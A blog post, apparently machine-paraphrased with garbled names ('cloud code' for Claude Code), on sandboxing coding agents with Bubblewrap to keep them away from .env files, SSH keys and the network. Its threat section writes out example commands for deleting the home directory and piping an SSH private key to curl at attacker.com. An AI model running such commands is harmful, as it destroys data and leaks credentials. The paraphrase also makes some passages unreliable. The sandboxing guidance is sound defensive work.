A better way to limit Claude Code (and other coding agents!) access to Secrets – blog

Last week I wrote an article about how to run cloud code when you don’t trust the cloud code. I proposed the creation of a dedicated user account and standard Unix access controls. The purpose of this was to prevent the cloud from dancing through your .env files, learning your secrets. There are some usability issues with that guide- I found a better approach and wanted to share.

TL;DR: Use Bubblewrap to sandbox cloud code (and other AI agents) without relying on anyone else’s implementation except your own. It is simpler than Docker and more secure than a dedicated user account.

What changed since my last post

Soon after publication, I came down with the flu. During three painful days in bed, I realized there were other, better approaches. Firegel will probably work well – but there is another solution called Bubblewrap.

As I researched Bubblewrap, I realized something else… Anthropic uses Bubblewrap!

But Anthropic embeds Bubblewrap in its client. This implementation has one major disadvantage.

Embedding BubbleWrap in the client means you have to trust the correctness and security of Anthropic’s implementation. They deserve credit for thinking about security, but this is a puzzle to me. Why not publish guidance so users can protect themselves from cloud code? Shouldn’t we require this for all agents? Is this solution not generalizable?

Defense-depth means we are not dependent on any one vendor to execute perfectly 100% of the time. Also, this problem applies to all coding agents, not just cloud code. I want an approach that doesn’t tie my safety to anthropic fate.

Security issue we are addressing

Before we get into bubblewrap, here’s what we’re protecting against:

  • You want to run a binary that will execute under the permissions of your account
  • Your account has access to sensitive files unrelated to the project you’re working on
  • You want your binary to implement other standard system tools ls, ps -auxOr less
  • We want to enforce this binary and simply prevent it from accessing sensitive files unrelated to the binary’s activities

What if there is a bug in the cloud code? What happens if the bug is exploited, and the bubblewrap barriers embedded within the client are not activated? will cloud code run rm -rf ~ Or cat ~/.ssh/id_rsa | curl attacker.com?

Without your own knowledge of the agent, you are at risk. When you wrap your coding agent calls with bubblewrap, the agent’s access to dangerous commands is blocked.

What is bubblewrap?

Bubblewrap lets you run untrusted or semi-trusted code without putting your host system at risk. We are not attempting to create reproducible deployment artifacts. We’re building a prison where coding agents can work on your project while being unable to touch ~/.awsYour browser profile, your ~/Photos library or anything sensitive.

Let’s explore bubblewrap via command line:

# Install it (Debian/Ubuntu)
sudo apt install bubblewrap

# Simplest possible sandbox - just isolate the filesystem view
bwrap --ro-bind /usr /usr --symlink usr/lib /lib --symlink usr/lib64 /lib64 \
      --symlink usr/bin /bin --proc /proc --dev /dev \
      --unshare-all --die-with-parent \
      /bin/bash

# Inside the sandbox, try:
ls /home          # Empty or nonexistent
ls /etc           # Empty or nonexistent  
whoami            # Shows "nobody" or your mapped user
ping google.com   # Fails - no network

How does this command work?

This command creates a minimal sandboxed environment. Here’s what each part does:

File System Access:

  • --ro-bind /usr /usr mounts your system /usr As a read-only directory inside the sandbox
  • --symlink Create command shortcuts so programs can find libraries and binaries in expected locations
  • --proc /proc And --dev /dev Provide minimal access to system processes and devices

Solitude:

  • --unshare-all Disconnects the sandbox from all system resources (network, shared memory, mount points, etc.).
  • --die-with-parent Sandbox closes if your main terminal closes

Result:

Bash runs inside a separate environment. It can execute programs from /usr But can’t see your home directory, configuration files, or access the network. The programs work, but they’re running in a ghost version of your file system.

Why does Bubblewrap beat Docker?

It beats Docker in terms of quick workflow. Docker requires a running daemon and a lot of configuration files. Bubblewrap lets you execute your app directly – no daemons, no old containers cluttering up your system.

If you have enough experience to worry about Docker misconfiguration, bubblewrap gives you more control when you need it. You just run a command. No YAML files or debugging background services.

Quick Start: Running Cloud Code with Bubblewrap

A big reason it’s needed is because of the dangerously-skip-permissions. There are times when it is very useful to give an agent autonomy in designing, experimenting, and implementing a system. Last week, I built a WiFi access point that hosts a Quakeworld server and sells web assemblies to Quake clients. It’s an instant-LAN ​​party in a box. I did it regardless and it works. –Dangerously-Leave-Permissions is very powerful—assuming you know how to aim it safely.

Here’s how I run cloud code --dangerously-skip-permissions Inside the Bubblewrap Sandbox:

PROJECT_DIR="$HOME/Development/YourProject"
bwrap \
     --ro-bind /usr /usr \
     --ro-bind /lib /lib \
     --ro-bind /lib64 /lib64 \
     --ro-bind /bin /bin \
     --ro-bind /etc/resolv.conf /etc/resolv.conf \
     --ro-bind /etc/hosts /etc/hosts \
     --ro-bind /etc/ssl /etc/ssl \
     --ro-bind /etc/passwd /etc/passwd \
     --ro-bind /etc/group /etc/group \
     --ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
     --ro-bind "$HOME/.nvm" "$HOME/.nvm" \
     --bind "$PROJECT_DIR" "$PROJECT_DIR" \
     --bind "$HOME/.claude" "$HOME/.claude" \
     --tmpfs /tmp \
     --proc /proc \
     --dev /dev \
     --share-net \
     --unshare-pid \
     --die-with-parent \
     --chdir "$PROJECT_DIR" \
     --ro-bind /dev/null "$PROJECT_DIR/.env" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.local" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.production" \
     "$(command -v claude)" --dangerously-skip-permissions "Please review Planning/ReportingEnhancementPlan.md"

Main configuration lines:

# Required for Claude Code to work
--ro-bind "$HOME/.nvm" "$HOME/.nvm" \

# Claude stores auth here. Without this, you'll re-login every time
--bind "$HOME/.claude" "$HOME/.claude" \

# Only add if you understand why you need SSH access
# --ro-bind "$HOME/.ssh" "$HOME/.ssh" \

# Block access to your .env files by overlaying with empty files (You need to know exact path of files 

     --ro-bind /dev/null "$PROJECT_DIR/.env" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.local" \
     --ro-bind /dev/null "$PROJECT_DIR/.env.production" \

Important: Most people do not need an SSH line. This gives your agent the ability to SSH into systems where you have copied the public key. Don’t add it if you don’t understand the utility.

Why not have a dedicated user account?

My previous post proposed creating a custom user account for the cloud on the host OS. There are three major problems with this approach:

1. ACL tuning becomes a usability nightmare

You will constantly struggle with file permissions. You need to tune access control lists to prevent access to sensitive .env files. This type of friction has derailed security initiatives for decades. Safety ends on disposable hills.

I had to adopt this method when I was sick with the flu. Please accept my apologies.

2. No network connectivity restrictions

A custom account does not solve the network access problem. Cloud agents can spin up sockets and connect to whatever they want. Unless you run UFW and restrict outbound connectivity to your host, you run the risk of having content snuck out by your agent.

I’m creating agents that manage and tune servers remotely. Agents are not responsible for allowing access to your network or the Internet from any source or destination. One wrong signal puts you at risk of data intrusion. My previous solution was incomplete.

3. Docker is the wrong tool

Docker solves the “it works on my machine” problem when moving code from your laptop to a production server. But most people are not deploying often enough to maintain strong Docker skills.

Setting up file systems and networking across containers requires mental effort. If you want to run a command safely, you do not need to install and configure a background service. People want something that works quickly without cognitive overhead.

Why use your own BubbleWrap instead of Anthropic’s Sandbox?

Everyone makes security mistakes eventually. Cloud code is potentially dangerous. Which approach is safer?

Trust Anthropic: Hopefully their team never makes a mistake in implementation that breaks security controls.

Or

Don’t Trust Mankind: Implement your own access controls in the operating system that constrain the binary at runtime.

There’s another big reason you should know how to take advantage of Bubblewrap. You need a solution for sandboxing agents that aren’t cloud code.

Agents should never be trusted. Even when they have security controls. Be in control around them—don’t trust agents built from models that have experienced misalignment.

Comparison of what you’re relying on with a user-wrapped invocation of Bubblewrap versus bubblewrap embedded in a client

Running Bubblewrap yourself:

  • Namespace implementation of the Linux kernel
  • Bubblewrap binary (small, auditable codebase)
  • Your own configuration (you wrote it, you understand it)
  • Your own proxy/filtering code

Using Anthropic’s Sandbox Runtime:

  • All of the above, plus:
  • Anthropic’s wrapper code and configuration options
  • Anthropic’s filtering proxy implementation
  • Anthropic’s update/delivery system (NPM)
  • Anthropic’s security interests are aligned with yours

trust matrix

Trust isn’t binary—it’s about understanding who you’re trusting and why. Here’s a quick comparison:

Threat DIY barrep anthropological srt
cloud by mistake rm -rf ~ ✓ Protected ✓ Protected
cloud intrusion ~/.ssh ✓ Protected ✓ Protected
Supply Chain Attack via NPM ✓ Not exposed ✗ exposed
subtle misconfiguration ✗ Your risk ✓ Their expertise
Agent telemetry you don’t want to send ✓ You control ? their choice
New Bypass Technologies ✗ You are on your own ✓ His team watches

So in defense of Anthropic: It’s not cut and dried. Most companies don’t have the resources to have great security teams. You have to decide if you can own it. Many companies would be wise to rely on Anthropic’s expertise. If someone breaks their sandbox implementation their reputation is at risk. But if you don’t learn how to use Bubblewrap you will be locked into Anthropic’s security model. Switching to a new agent will require locating the security there. Why not just rip the Band Aid off and learn to bubblewrap?

Don’t even trust me!

This has been a fun article on trusting trust. Trust me!

But you shouldn’t trust me! I can be a dog on the internet. Maybe I’m a slut?!

Here is some code you can use to test the bwrap container I provided for cloud use. Note that this is implemented differently – we’re not going to call Cloud – we’re going to call Bash and pass it the test script. My test script is available here:

all you have to do is make one your project in your folder ~/$home/development Directory. then make one sandbox-escape-test.sh Over there. Fill it with test code from my github.

Read and understand what the script does before executing it. This post is already long enough😀

wrapping up

I’m building with multiple agents—not just with Cloud Code. I need a generalized solution for sandboxing that I can apply to other agents.

Anthropic deserves attention and credit for the odds they are giving you. I wish they had published them in a way that your safety was not tied to their ability to execute correctly 100% of the time.

The choice is yours: trust the vendor’s implementation, or take control of your own security boundaries. Both are valid. I may have gone crazy. Are you feeling lucky?

PS If I ever end up under a burning pizza truck, here’s a useful 1 liner:

claude "Act as a security expert with a specialization in Linux system security.  Help me generate a bubblewrap script for safely invoking coding agents so they do not have access to sensitive data on my file system and appropriately manage other security risks, even though they're going to be invoked under my account's permissions.  Let's talk through everything that the agent should be able to do & access first, and then generate an appropriate bwrap script for delivering that capability.  Then let's discuss what access we should restrict."

Need help on related topics? I am currently freelance! Let’s connect incredibly fast and create things securely:

https://www.linkedin.com/in/patrickmccanna



<a href

Leave a Comment